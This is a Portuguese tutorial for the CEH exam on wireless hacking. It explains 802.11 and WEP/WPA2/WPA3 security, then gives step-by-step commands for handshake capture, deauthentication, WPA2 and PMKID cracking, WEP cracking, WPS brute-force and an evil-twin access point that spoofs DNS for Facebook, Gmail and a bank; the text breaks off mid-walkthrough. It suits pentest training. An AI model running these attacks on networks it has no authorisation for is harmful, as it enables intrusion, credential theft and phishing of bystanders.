Hacking Wireless: Wi-Fi, WEP, WPA2, WPA3 e Aircrack-ng na Prática

Redes wireless são, ao mesmo tempo, a porta de entrada mais conveniente e o vetor de ataque mais negligenciado em ambientes corporativos e domésticos. Um pentester que domina wireless hacking ganha uma vantagem enorme — porque a maioria das organizações tem pelo menos uma rede Wi-Fi mal configurada, um access point com firmware desatualizado ou um protocolo de segurança que deveria ter sido aposentado há uma década.

Para o exame CEH v13, o domínio de wireless hacking cobre desde os fundamentos do IEEE 802.11 até técnicas modernas de captura e cracking de handshakes, evil twin attacks e a evolução para WPA3. Este artigo é o guia hands-on completo: dos conceitos teóricos à execução de cada técnica com ferramentas reais.

Aviso legal: Todas as técnicas descritas devem ser aplicadas exclusivamente em redes das quais você possui autorização explícita. Interceptação de tráfego wireless sem permissão é crime na maioria das jurisdições — incluindo o Brasil (Lei 12.737/2012, Art. 154-A) e Portugal (Art. 10º da Lei 109/2009). Use esse conhecimento para auditar suas próprias redes ou em engagements autorizados.

1. Fundamentos Wireless — IEEE 802.11

O padrão IEEE 802.11 define o funcionamento das redes Wi-Fi. Desde a primeira versão em 1997, o padrão evoluiu significativamente em velocidade, alcance e segurança. Entender cada revisão é essencial para qualquer pentester wireless.

Gerações do 802.11

Padrão Ano Frequência Velocidade máx. Notas
802.11a 1999 5 GHz 54 Mbps Maior throughput, menor alcance
802.11b 1999 2.4 GHz 11 Mbps Mais lento, maior penetração
802.11g 2003 2.4 GHz 54 Mbps Retrocompatível com 802.11b
802.11n (Wi-Fi 4) 2009 2.4 / 5 GHz 600 Mbps MIMO, até 4 antenas
802.11ac (Wi-Fi 5) 2014 5 GHz 6.9 Gbps MIMO de até 8×8, canais de 160 MHz
802.11ax (Wi-Fi 6/6E) 2021 2.4 / 5 / 6 GHz 9.6 Gbps OFDMA, MU-MIMO, TWT
802.11be (Wi-Fi 7) 2024 2.4 / 5 / 6 GHz 46 Gbps MLO, 4096-QAM

Frequências e Canais

O espectro wireless é dividido em três bandas principais:

  • 2.4 GHz: 14 canais (1-14), largura de 20 MHz cada, sobreposição pesada. Na prática, apenas 3 canais não se sobrepõem (1, 6, 11). Maior penetração em paredes, menor velocidade. Altamente suscetível a interferência de Bluetooth, micro-ondas e outros dispositivos.
  • 5 GHz: Canais de 20, 40, 80 e 160 MHz. Muito menos congestão que 2.4 GHz. Menor penetração em obstáculos físicos. Ideal para throughput alto em ambientes densos.
  • 6 GHz (Wi-Fi 6E/7): Banda nova com até 59 canais de 20 MHz. Sem interferência de dispositivos legacy. Penetração ainda menor que 5 GHz.
Impacto para o pentester: A frequência do alvo determina qual hardware você precisa. Adaptadores baratos suportam apenas 2.4 GHz. Para 5 GHz e 6 GHz, você precisa de chips compatíveis (ex: MediaTek MT7612U, Intel AX210). O Kali Linux detecta automaticamente as capacidades do chipset via iw list.

Identificadores: SSID e BSSID

  • SSID (Service Set Identifier): O nome da rede que aparece quando você busca Wi-Fi. Pode ser oculto (hidden), mas o BSSID continua visível em probe requests/responses. Hiding SSID é segurança por obscuridade — não impede descoberta.
  • BSSID (Basic Service Set Identifier): O endereço MAC do access point. Identificador único e imutável (a menos que o AP use MAC randomization). Essencial para direcionar ataques a um AP específico.

Modos de Operação Wireless

  • Managed (Infrastructure): Modo padrão. Clientes se conectam a um access point central. O AP faz bridge entre wireless e wired network.
  • Ad-hoc: Conexão ponto-a-ponto entre clientes, sem AP. Cada dispositivo comunica diretamente com os demais. Pouco usado hoje, mas aparece em cenários IoT e militares.
  • Master (AP): O dispositivo atua como access point, broadcastando SSID e gerenciando conexões de clientes.
  • Monitor Mode: O adaptador wireless captura tudo que passa pelo ar — incluindo pacotes de redes das quais você não está conectado. Não se associa a nenhum AP. É o modo fundamental para wireless hacking. Sem ele, você só vê tráfego da rede à qual está conectado.
Monitor mode é não-negociável. Sem ele, você não captura handshakes, não faz deauth, não faz nada. Verifique a compatibilidade do seu adaptador antes de comprar — nem todo chipset suporta monitor mode + packet injection.

2. Evolução da Segurança Wireless

A segurança Wi-Fi é uma história de 25 anos de tentativa e erro. Cada geração de protocolo nasceu como resposta às falhas da anterior. Entender essa linha do tempo é crucial — porque em auditorias reais, você vai encontrar redes rodando WPA2 (o padrão), WPA (legacy), e, sim, ocasionalmente WEP.

WEP — Wired Equivalent Privacy (1997)

O WEP foi o primeiro protocolo de segurança wireless, parte do padrão 802.11 original. Usava o cifrador RC4 com chaves de 40-bit (64-bit com IV) ou 104-bit (128-bit com IV). A implementação era desastrosa:

  • IVs (Initialization Vectors) de apenas 24 bits: Em uma rede movimentada, os IVs se repetem em questão de minutos. IVs repetidos + RC4 = mesma keystream = XOR para recuperar plaintext.
  • RC4 mal implementado: A correlação entre os primeiros bytes da keystream e o IV permitia ataques estatísticos eficientes.
  • Checksum CRC-32: Detectava modificação, mas não impedia forjamento — um atacante podia calcular o CRC correto para um payload modificado.

O ataque FMS (Fluhrer, Mantin, Shamir, 2001) demonstrou que era possível recuperar a chave WEP completa capturando entre 40.000 e 100.000 IVs — algo factível em minutos numa rede ativa. O KoreK attacks (2004) reduziram isso para 40.000 IVs. Em 2007, a equipe do aircrack-ng publicou a técnica PTW, quebrando WEP com ~20.000 IVs.

Veredicto: WEP está morto. Se você encontrar WEP, não é um desafio de segurança — é um problema de compliance. Quebra-se em segundos.

WPA — Wi-Fi Protected Access (2003)

O WPA foi um stopgap criado pela Wi-Fi Alliance enquanto o WPA2 era padronizado. Mantinha compatibilidade com hardware WEP (mesmo cifrador RC4), mas introduziu o TKIP (Temporal Key Integrity Protocol):

  • Chaves por-pacote: cada frame usava uma chave RC4 diferente, eliminando o problema de IVs repetidos.
  • MIC (Message Integrity Check): substituiu o CRC-32, impedindo modificação de pacotes.
  • Sequencing: impediu ataques de replay.

O problema: TKIP ainda usava RC4. Em 2008, pesquisadores demonstraram o Beck-Tews attack e o TKIP chopchop attack, permitindo injeção de pacotes ARP em 7-15 minutos. Não quebrava a chave, mas comprometia a integridade da rede.

WPA2 — Wi-Fi Protected Access 2 (2004)

O WPA2 substituiu RC4/TKIP por AES-CCMP (Counter Mode with CBC-MAC Protocol). AES é um cifrador de bloco forte, aprovado pelo NIST, e o CCMP fornece confidencialidade, autenticidade e integridade em cada frame. Essa combinação se manteve sólida por duas décadas.

O WPA2 tem duas variantes:

  • WPA2-Personal (PSK): A mesma senha é usada por todos os clientes. O cracking é feito offline contra o 4-way handshake capturado.
  • WPA2-Enterprise (802.1X): Cada cliente se autentica individualmente via servidor RADIUS (EAP-TLS, PEAP, EAP-TTLS). Muito mais seguro, mas mais complexo de implementar.

A fragilidade do WPA2-PSK não está no protocolo AES-CCMP em si — está na derivação de chaves baseada em senha. Se a senha for fraca, o cracking offline do handshake é trivial. Se for forte (16+ caracteres aleatórios), o WPA2-PSK é praticamente impenetrável com ataques de dicionário.

WPA3 — Wi-Fi Protected Access 3 (2018)

O WPA3 foi a resposta definitiva aos problemas acumulados em 20 anos de WPA2:

  • SAE (Simultaneous Authentication of Equals): Substitui o PSK tradicional. O handshake SAE (baseado no protocolo Dragonfly) é resistente a ataques offline de dicionário — cada tentativa requer interação com o AP.
  • Forward Secrecy: Se a senha for comprometida no futuro, o tráfego capturado anteriormente permanece seguro.
  • OWE (Opportunistic Wireless Encryption): Criptografia individualizada entre cliente e AP mesmo em redes abertas. Ideal para cafés, aeroportos, redes públicas.
  • 192-bit Enterprise: Suite criptográfica de 192 bits para ambientes governamentais (CNSA Suite).

WPA3 mudou o jogo para o atacante. Sem offline dictionary attacks, o pentester precisa de abordagens diferentes — brute-force online (lento e detectável), evil twin com phishing da senha, ou exploração de implementações SAE malfeitas.


3. Como o WPA2 PSK Funciona — O 4-Way Handshake

Para quebrar WPA2, você precisa entender exatamente como a autenticação funciona. O coração do processo é o 4-way handshake — quatro mensagens EAPOL trocadas entre o AP e o cliente.

Derivação de Chaves

  1. A senha em texto (o PSK) é combinada com o SSID da rede.
  2. A função PBKDF2 aplica HMAC-SHA1 com 4096 iterações para derivar a PMK (Pairwise Master Key): PMK = PBKDF2-SHA1(password, SSID, 4096, 256 bits)
  3. A PMK é a mesma para todos os clientes na rede.
  4. O AP gera um Anonce (AP Nonce — valor aleatório de 256 bits) e envia ao cliente.
  5. O cliente gera um SNonce, e com ambos os nonces + endereços MAC + PMK, deriva a PTK (Pairwise Transient Key).
  6. A PTK contém subchaves para criptografia (KCK, KEK, TK), e é usada para criptografar todo o tráfego da sessão.

As 4 Mensagens

Message 1: AP → Client (ANonce)
O access point envia o ANonce ao cliente. Nenhuma informação sensível — é apenas um nonce aleatório. Qualquer pessoa capturando o tráfego pode ver essa mensagem.

Message 2: Client → AP (SNonce + MIC)
O cliente gera o SNonce, deriva a PTK usando PMK + ANonce + SNonce + MACs, e envia o SNonce junto com um MIC (Message Integrity Code) calculado com a KCK. O MIC prova que o cliente conhece a PMK sem transmiti-la.

Message 3: AP → Client (GTK + MIC)
O AP deriva a mesma PTK, verifica o MIC da Message 2, e envia o GTK (Group Temporal Key) — usada para tráfego multicast/broadcast — mais um MIC. O GTK é criptografado com a KEK.

Message 4: Client → AP (ACK)
O cliente confirma recebimento da GTK enviando um acknowledgment com MIC.

Ponto crítico para cracking: A senha nunca é transmitida. O que o atacante captura são os ANonce, SNonce, MACs e MIC. Para quebrar, o atacante testa senhas candidatas, deriva a PMK, deriva a PTK, calcula o MIC e compara com o MIC capturado. Se bater, a senha está encontrada. Tudo offline.

Por que o handshake capturado é suficiente

Como a PMK é derivada deterministicamente de password + SSID, e a PTK é derivada deterministicamente de PMK + ANonce + SNonce + MACs, o atacante que captura o handshake tem todos os inputs menos a senha. O cracking é puramente computacional: testar N senhas, derivar N PMKs, derivar N PTKs, calcular N MICs, comparar. É por isso que wordlists e velocidade de processamento (GPU) são o fator limitante.


4. Aircrack-ng Suite

O Aircrack-ng é a suíte de ferramentas wireless mais completa e mais usada por pentesters em todo o mundo. Open-source, mantida ativamente, pré-instalada no Kali Linux e BlackArch.

Componentes Principais

Ferramenta Função
airmon-ng Ativa/desativa monitor mode no adaptador wireless
airodump-ng Sniffer wireless — captura pacotes, lista APs, clientes, canais, criptografia, sinal (dBm)
aireplay-ng Injeção de pacotes — deauthentication frames, ARP requests
aircrack-ng Cracker WEP/WPA offline com wordlists
airbase-ng Cria rogue access points (evil twin)
airdecap-ng Descriptografa capturas quando você já conhece a chave
airtun-ng Cria interfaces túnel virtuais via wireless
airserv-ng Compartilha o adaptador wireless via rede

Instalação no Kali Linux

# Já pré-instalado no Kali. Para atualizar:
sudo apt update && sudo apt install aircrack-ng

# Verificar versão
aircrack-ng --help | head -1

# Verificar suporte a monitor mode do adaptador
iw list | grep -A 5 "Monitor"

Antes de começar, mate processos que podem interferir com o adaptador wireless:

# Interrompe serviços que conflitam com monitor mode
sudo airmon-ng check kill

# Verifica o que foi afetado
sudo airmon-ng check

Em particular, o NetworkManager e o wpa_supplicant podem causar problemas. O airmon-ng check kill os interrompe automaticamente. Para reativá-los depois da auditoria: sudo systemctl start NetworkManager.


5. Capturando o Handshake

A captura do 4-way handshake é o passo mais importante do ataque WPA2. Sem o handshake completo, não há como realizar o cracking offline. O processo envolve quatro etapas: ativar monitor mode, identificar o alvo, capturar pacotes e forçar a reconexão.

Passo 1 — Ativar Monitor Mode

# Matar processos conflitantes
sudo airmon-ng check kill

# Identificar a interface wireless
iwconfig
# Output: wlan0    IEEE 802.11  ESSID:off/any  ...

# Ativar monitor mode
sudo airmon-ng start wlan0

# Interface muda para wlan0mon
iwconfig
# Output: wlan0mon  IEEE 802.11  Mode:Monitor  ...

Se o airmon-ng falhar, tente o método nativo do iw:

# Método alternativo com iw
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Renomear para wlan0mon (opcional, para consistência)
sudo ip link set wlan0 name wlan0mon

Passo 2 — Identificar o Alvo

# Escanear todas as redes visíveis
sudo airodump-ng wlan0mon

O airodump-ng mostra uma tabela com:

  • BSSID: Endereço MAC do AP
  • PWR: Potência do sinal em dBm (mais negativo = mais fraco. -30 é excelente, -80 é limite)
  • CH: Canal
  • ENC: Criptografia (WEP, WPA2, OPN)
  • CIPHER: Cifrador (CCMP=AES, TKIP=RC4)
  • ESSID: Nome da rede
  • Stations: Clientes conectados (parte inferior da tela) com seus MACs e sinais
Registre tudo: Anote o BSSID, canal (CH), e o MAC de pelo menos um cliente conectado (station). Você precisa de todos para os próximos passos. Pressione Ctrl+C para parar o scan.

Passo 3 — Capturar no Canal do Alvo

# Focar no canal específico do alvo, gravando captura
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

Parâmetros:

  • -c 6: Canal do AP alvo (substitua pelo correto)
  • --bssid AA:BB:CC:DD:EE:FF: Filtra apenas o AP alvo
  • -w capture: Prefixo do arquivo de captura (gera capture-01.cap, capture-02.cap, etc.)
  • wlan0mon: Interface em monitor mode

O airodump-ng fica rodando e gravando. Se um cliente se reconectar naturalmente ao AP, o handshake aparecerá automaticamente com a mensagem "WPA handshake: AA:BB:CC:DD:EE:FF" no canto superior direito. Em redes com pouco tráfego, isso pode levar horas.

Passo 4 — Forçar o Handshake com Deauth

Aqui entra o aireplay-ng. O deauth frame é um frame de management (não criptografado, mesmo em WPA2) que diz ao cliente "desconecte-se deste AP". O cliente obedece e reconecta automaticamente, gerando um novo 4-way handshake que o airodump-ng captura.

# Em outro terminal (mantenha o airodump-ng rodando no primeiro)
# Deauth específico — envia 10 deauth frames para um cliente específico
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Parâmetros:

  • -0 10: Modo deauthentication, 10 frames (vários para garantir entrega)
  • -a AA:BB:CC:DD:EE:FF: BSSID do AP alvo
  • -c 11:22:33:44:55:66: MAC do cliente alvo (station)

Se não souber o MAC de um cliente, envie broadcast deauth (para todos os clientes):

# Broadcast deauth — atinge todos os clientes conectados
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
Deauth é ruidoso. Gera logs no AP e pode ser detectado por WIDS (Wireless Intrusion Detection Systems). Em ambientes corporativos com segurança wireless ativa, múltiplos deauth frames em sequência disparam alertas. Em auditorias reais, use o mínimo necessário (1-2 frames) e espere a reconexão natural quando possível.

Após o deauth, volte ao terminal do airodump-ng. Se aparecer "WPA handshake: AA:BB:CC:DD:EE:FF", a captura foi bem-sucedida. Pressione Ctrl+C para parar.

# Verificar se o handshake foi capturado
# O arquivo capture-01.cap deve conter frames EAPOL
ls -la capture-01.cap

Verificando o Handshake Capturado

# Usar aircrack-ng para verificar se o handshake está presente (sem cracking)
aircrack-ng capture-01.cap

# Output esperado:
#                               Aircrack-ng 1.7
#
#       [00:00:00] Tested 0 keys (got 0 PMKs)
#
#       BSSID              ESSID              Encryption
#
#       AA:BB:CC:DD:EE:FF  TargetNetwork     WPA (1 handshake)

O "1 handshake" confirma que a captura está pronta para cracking.


6. Cracking WPA2

Com o handshake capturado, o cracking é puramente computacional. A velocidade depende de três fatores: tamanho da wordlist, complexidade da senha e poder de processamento (CPU vs GPU).

Aircrack-ng (CPU-based)

# Cracking básico com wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

O aircrack-ng testa cada palavra da wordlist como candidato a senha. Para cada uma, deriva a PMK (4096 iterações SHA1), depois a PTK, calcula o MIC e compara. Em uma CPU moderna, isso rende ~1.000-3.000 PMKs/segundo por core — o que significa que o rockyou.txt (14+ milhões de senhas) leva horas.

Dica: Antes de usar o rockyou.txt, descompacte-o: sudo gunzip /usr/share/wordlists/rockyou.txt.gz. No Kali, ele vem comprimido por padrão.

Hashcat (GPU-based — Muito Mais Rápido)

O hashcat é o cracker de senhas mais rápido do mundo. Usando GPU (NVIDIA/AMD), ele processa dezenas de milhares de PMKs por segundo — ordens de magnitude mais rápido que a CPU.

Primeiro, converta a captura para o formato do hashcat:

# Converter .cap para .hccapx (formato do hashcat para WPA2)
# Usar aircrack-ng ou hcxpcapngtool
git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools && make

# Converter
hcxpcapngtool -o capture.hccapx capture-01.cap

# Alternativa: usar o online converter (se disponível)
# ou o script converte.sh do próprio hashcat utils

Depois, crack com hashcat:

# WPA2/WPA mode é o 2500
# -m 2500 = WPA/WPA2
# rockyou.txt = wordlist padrão do Kali
hashcat -m 2500 capture.hccapx /usr/share/wordlists/rockyou.txt

# Forçar uso de GPU (se não detectar automaticamente)
hashcat -m 2500 -d 1 capture.hccapx /usr/share/wordlists/rockyou.txt

# Ver resultados após cracking
hashcat -m 2500 capture.hccapx --show

Performance típica por modo:

Hardware PMKs/segundo rockyou.txt (14M)
Intel i7 (CPU, 8 cores) ~8.000 ~29 minutos
Intel i7 (CPU, single core) ~1.000 ~4 horas
NVIDIA RTX 3080 (GPU) ~140.000 ~1.7 minutos
NVIDIA RTX 4090 (GPU) ~300.000 ~47 segundos
4x RTX 4090 (GPU cluster) ~1.200.000 ~12 segundos
Wordlists customizadas: Para auditorias mais eficazes, use o crunch para gerar wordlists baseadas em padrões conhecidos da organização (nome da empresa + números, padrões de senha internos). O cewl extrai palavras de websites do alvo para criar wordlists contextualizadas. Combinar regras de mutação (hashcat -r rules/best64.rule) aumenta drasticamente a cobertura.

John the Ripper

# Converter para formato do John
# O John suporta o formato hccapx nativamente
john --wordlist=/usr/share/wordlists/rockyou.txt capture.hccapx

# Com regras de mutação
john --wordlist=/usr/share/wordlists/rockyou.txt --rules capture.hccapx

Ataque PMKID — Sem Precisar de Handshake

O ataque PMKID é uma alternativa elegante ao 4-way handshake tradicional. Descoberto por Jens Steube (lead developer do hashcat) em 2018, este ataque explora o fato de que alguns APs enviam um frame PMKID (PMK Name) durante a primeira fase do processo de associação, antes mesmo do 4-way handshake começar.

Vantagens sobre o handshake tradicional:

  • Não precisa de clientes conectados — funciona mesmo em redes vazias
  • Não precisa de deauth — sem frames suspeitos
  • Mais silencioso — não gera desconexões
# Ferramenta hcxdumptool para capturar PMKID
# Instalar hcxtools + hcxdumptool
sudo apt install hcxdumptool hcxtools

# Capturar PMKIDs de todos os APs no alcance
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng

# Converter para formato hashcat
hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng

# Crack com hashcat (modo 22000 para PMKID)
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

O formato de hash do PMKID (22000) é mais rápido para processar que o handshake completo (2500), porque há menos dados por hash. Nem todos os APs suportam PMKID — routers modernos com WPA3 desabilitam por padrão, mas a maioria dos APs WPA2 ainda envia.


7. WEP Cracking (Histórico)

Embora o WEP esteja obsoleto há quase duas décadas, entender como era quebrado é importante para a prova do CEH e para apreciar por que os protocolos modernos existem.

Como Funcionava

O WEP usava RC4 com IVs de 24 bits. O ataque explorava IVs repetidos para recuperar a keystream e, por extensão, a chave. O processo:

  1. Capturar tráfego WEP até coletar IVs suficientes (~20.000 com PTW).
  2. Usar ataques estatísticos (FMS, KoreK, PTW) para correlacionar IVs com a chave.
  3. Recuperar a chave completa sem nunca interceptar a senha diretamente.
# WEP cracking com aircrack-ng
# Passo 1: Monitor mode
sudo airmon-ng start wlan0

# Passo 2: Capturar IVs
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

# Passo 3: Acelerar captura com ARP request replay (aireplay-ng)
# O ARP replay injeta pacotes ARP forjados para forçar o AP a responder,
# gerando tráfego e IVs rapidamente
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0mon

# Passo 4: Cracker com IVs capturados
# -n 64 = chave de 64-bit (40-bit + 24 IV)
# -n 128 = chave de 128-bit (104-bit + 24 IV)
aircrack-ng -n 64 wep_capture-01.cap

# Output:
#                               Aircrack-ng 1.7
#
#       [00:03:27] 21847 IVs tested (595468 IVs/sec)
#
#                   KEY FOUND! [ A1:B2:C3:D4:E5 ]
#
#       Master Key     : A1 B2 C3 D4  E5
#       Transmitted Key : A1 B2 C3 D4  E5 00

ARP request replay era o truque principal para acelerar a captura: ao injetar um ARP request forjado no tráfego, o AP respondia com um ARP reply, e ambos os pacotes continham IVs novos. Em uma rede com apenas um cliente, isso podia gerar milhares de IVs por segundo. Sem o replay, você dependia do tráfego natural da rede — que podia ser lento.

Para a prova CEH: Saiba que WEP usa RC4, IVs de 24 bits, chaves de 40 ou 104 bits, e que o ataque FMS (2001) o tornou obsoleto. Não gaste tempo praticando WEP — foque em WPA2/WPA3.

8. Evil Twin e Rogue AP

O ataque Evil Twin cria um access point falso com o mesmo SSID (e frequentemente o mesmo BSSID) da rede legítima. Quando a vítima se conecta ao evil twin em vez do AP real, o atacante ganha posição de man-in-the-middle — podendo interceptar tráfego, injetar conteúdo, redirecionar para páginas de phishing e capturar credenciais.

Como Funciona

  1. O atacante identifica o SSID e canal do AP alvo.
  2. Cria um rogue AP com o mesmo SSID, mas com sinal mais forte ou sem autenticação.
  3. A vítima conecta-se ao evil twin (os dispositivos Wi-Fi geralmente preferem o AP com sinal mais forte ou o último que se conectou).
  4. O evil twin fornece DHCP, DNS e gateway para a vítima.
  5. O atacante pode: redirecionar para captive portal phishing, interceptar tráfego HTTP, realizar DNS spoofing para redirecionar sites populares para clones maliciosos.

Criando um Evil Twin com airbase-ng

# Passo 1: Monitor mode
sudo airmon-ng start wlan0

# Passo 2: Criar rogue AP com airbase-ng
sudo airbase-ng -e "TargetSSID" -c 6 wlan0mon
# Isso cria uma interface at0

# Passo 3: Configurar rede no evil twin
sudo ip addr add 192.168.1.1/24 dev at0
sudo ip link set at0 up

# Passo 4: DHCP server para atribuir IPs às vítimas
sudo apt install isc-dhcp-server
# Configurar /etc/dhcp/dhcpd.conf:
#   subnet 192.168.1.0 netmask 255.255.255.0 {
#     range 192.168.1.10 192.168.1.100;
#     option routers 192.168.1.1;
#     option domain-name-servers 192.168.1.1;
#   }
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -f at0

# Passo 5: Configurar roteamento/NAT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

# Passo 6: DNS spoofing com dnsspoof ou bettercap
sudo dnsspoof -i at0 -f /etc/hosts_custom
# No /etc/hosts_custom:
#   192.168.1.1  facebook.com
#   192.168.1.1  gmail.com
#   192.168.1.1  banco.com.br

Ferramentas Automatizadas

  • hostapd-wpe: Modificação do hostapd para criar APs que forçam autenticação EAP maliciosa (útil contra Enterprise/WPA2-Enterprise). Captura credenciais EAP-MSCHAPv2.
  • Fluxion: Script automatizado que combina evil twin + deauth + captive portal. A vítima é desconectada do AP real, conecta ao evil twin, e vê uma página pedindo a senha do Wi-Fi. Quando digita, o Fluxion testa contra o handshake capturado e libera o acesso se estiver correta.
  • WiFi-Pumpkin: Framework completo com GUI para evil twin attacks, captive portals, DNS spoofing, session hijacking e mais. Baseado em Python.
  • Wifite: Ferramenta automatizada que identifica e ataca redes wireless. Suporta WEP, WPA, WPA2, WPS e evil twin. Ideal para automação.
Evil Twin é social engineering puro. O ataque não "quebra" a criptografia — ele engana o usuário para que se conecte ao AP errado e entregue a senha voluntariamente. Mesmo redes WPA2 com senhas fortes são vulneráveis a evil twin (a senha capturada pelo captive portal pode então ser usada para o cracking, ou simplesmente usada para conectar ao AP real).

9. WPA3 em Detalhes

O WPA3 representa a mudança mais significativa na segurança wireless desde a introdução do WPA2 em 2004. Entender suas diferenças é essencial para qualquer pentester moderno.

SAE — Simultaneous Authentication of Equals

O SAE substitui o processo de derivação PSK tradicional. Em vez de simplesmente derivar a PMK da senha e SSID (como no WPA2), o SAE usa um protocolo de Diffie-Hellman modificado:

  1. Ambas as partes (AP e cliente) executam o mesmo algoritmo simultaneamente (daí "Simultaneous Authentication of Equals" — não há cliente/servidor hierárquico).
  2. Um commitment exchange garante que nenhuma informação sobre a senha seja revelada durante o handshake.
  3. A validação final confirma que ambas as partes derivaram a mesma chave, sem transmitir a chave ou dados deriváveis.

O resultado prático: não existe analogia ao 4-way handshake do WPA2. Mesmo que o atacante capture todo o tráfego do handshake SAE, não há como testar senhas offline. Cada tentativa de login incorreto exige interação com o AP, o que é:

  • Lento: O AP pode limitar a taxa de tentativas (rate limiting)
  • Detectável: Múltiplas tentativas falhas geram logs
  • Ineficiente: Não é paralelizável como o cracking offline

OWE — Opportunistic Wireless Encryption

OWE resolve um problema antigo: redes abertas (sem senha) não têm nenhuma criptografia. Qualquer pessoa no alcance pode capturar todo o tráfego. O OWE fornece criptografia unidirecional por cliente usando troca de chaves Diffie-Hellman:

  • O SSID permanece aberto — não há senha para digitar
  • Cada cliente estabelece uma chave criptográfica única com o AP
  • O tráfego de cada cliente é criptografado individualmente — nem o AP pode ler o tráfego de outros clientes
  • Sem forward secrecy por padrão (a menos que combinado com outros mecanismos)

Forward Secrecy

No WPA2, se você capturar o handshake e depois descobrir a senha, pode descriptografar todo o tráfego dessa sessão. No WPA3-SAE, cada sessão usa chaves efêmeras derivadas via Diffie-Hellman. Comprometer a senha no futuro não permite descriptografar tráfego capturado anteriormente. Isso é forward secrecy — a mesma propriedade que o TLS 1.3 oferece para HTTPS.

Limitações do WPA3

Apesar de significativamente mais seguro, o WPA3 não é perfeito:

  • Adoção lenta: Em 2024/2025, a maioria dos APs consumer ainda suporta WPA2 como padrão ou modo misto (WPA2/WPA3).
  • Modo misto (WPA2/WPA3 Transitional): Muitos APs operam em modo misto para compatibilidade com dispositivos legados. Nesse modo, clientes WPA2 estão tão vulneráveis quanto antes — o WPA3 protege apenas clientes WPA3.
  • Ataques side-channel: Implementações SAE malfeitas podem ser vulneráveis a timing attacks e cache attacks (pesquisa ativa em 2023-2024).
  • Dragonblood (2019): Pesquisadores encontraram vulnerabilidades em implementações iniciais do SAE (dragonblood attacks), incluindo downgrade attacks e side-channel leaks. A maioria foi corrigida, mas demonstrou que a implementação importa tanto quanto o protocolo.

10. Ferramentas Adicionais

Wifite — Automatização para Pentesters

O Wifite é um script Python que automatiza todo o processo de ataque wireless: scan, seleção de alvos, captura de handshake, deauth, e cracking. Ideal para auditorias rápidas quando você não quer executar cada ferramenta manualmente.

# Instalar
sudo apt install wifite

# Scan e ataque automático a todas as redes WPA2
sudo wifite

# Atacar rede específica
sudo wifite -e "TargetSSID"

# Atacar apenas canais específicos
sudo wifite -c 1,6,11

# Usar wordlist customizada
sudo wifite -w /usr/share/wordlists/rockyou.txt

# Modo WPS (Pixie Dust)
sudo wifite --wps

O Wifite identifica automaticamente a criptografia, captura handshakes, envia deauth, e tenta cracking. Para WEP, faz todo o processo incluindo ARP replay. Para WPS, tenta Pixie Dust e brute-force do PIN.

Fern Wifi Cracker — GUI para Desktop

O Fern Wifi Cracker oferece interface gráfica para as funções principais do Aircrack-ng. Escrito em Python, suporta WEP, WPA/WPA2 cracking, ataques WPS, e session hijacking. Menos poderoso que a suíte de linha de comando, mas mais acessível para iniciantes.

Reaver e Bully — Ataques WPS

O WPS (Wi-Fi Protected Setup) é um protocolo projetado para facilitar a conexão de dispositivos. Usa um PIN de 8 dígitos que o usuário digita para autenticar. O problema: o PIN é verificado em duas metades (primeiro 4 dígitos, depois os últimos 4), o que reduz drasticamente o espaço de busca.

# Reaver — WPS brute-force
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6

# Pixie Dust attack (offline, muito mais rápido quando funciona)
# Explora vulnerabilidades em implementações WPS específicas
# (Broadcom, Ralink, Realtek, MediaTek)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K

# Bully — alternativa ao Reaver, mais estável e com melhor suporte
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -B
WPS deve ser desabilitado. O PIN WPS de 8 dígitos tem espaço de busca teórico de 10^8, mas a verificação em duas metades reduz isso para 11.000 tentativas (primeira metade: 10^4 = 10.000, segunda metade: ~1.000). O brute-force leva 4-10 horas. Pixie Dust, quando funciona, quebra em segundos. Desabilite WPS em todos os APs.

11. Hands-on Completo — Setup e Execução

Este é o walkthrough completo de uma auditoria WPA2, do início ao fim.

Hardware Necessário

  • Adaptador Wi-Fi com monitor mode + packet injection: O padrão da indústria é o Alfa AWUS036ACH (chipset Realtek RTL8812AU, dual-band 2.4/5 GHz, alto ganho). Alternativas: Alfa AWUS036AC (RTL8811AU), Panda PAU09 (RTL8812AU), TP-Link TL-WN722N (versão V1 apenas — Atheros AR9271, 2.4 GHz).
  • Kali Linux (Live USB ou VM com USB passthrough)
  • Rede alvo para prática: Use seu próprio AP doméstico ou configure um AP de teste com WPA2
⚠️ Importante: VMs com wireless são problemáticas. A maioria das VMs não tem acesso direto ao hardware wireless — usam o Wi-Fi do host como interface virtual sem monitor mode. Solução: Kali em Live USB (boot direto) ou VM com USB passthrough do adaptador wireless.

Workflow Completo

# ============================================================
# PASSO 0: Preparação
# ============================================================
# Boot Kali Linux (Live USB recomendado)
# Conectar adaptador Alfa AWUS036ACH

# Verificar que o adaptador foi reconhecido
ip link show
# Procure por wlan0 ou wlx...

# Matar processos conflitantes
sudo airmon-ng check kill
# Interrompe: NetworkManager, wpa_supplicant, dhclient

# ============================================================
# PASSO 1: Ativar Monitor Mode
# ============================================================
sudo airmon-ng start wlan0
# Output: PHY Interface    Driver          Chipset
#         phy0    wlan0mon  rtl88xxau       Realtek RTL8812AU

# Confirmar
iwconfig wlan0mon
# Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm

# ============================================================
# PASSO 2: Scan — Identificar o Alvo
# ============================================================
sudo airodump-ng wlan0mon
#
# BSSID              PWR  Beacons  #Data  CH  ENC   ESSID
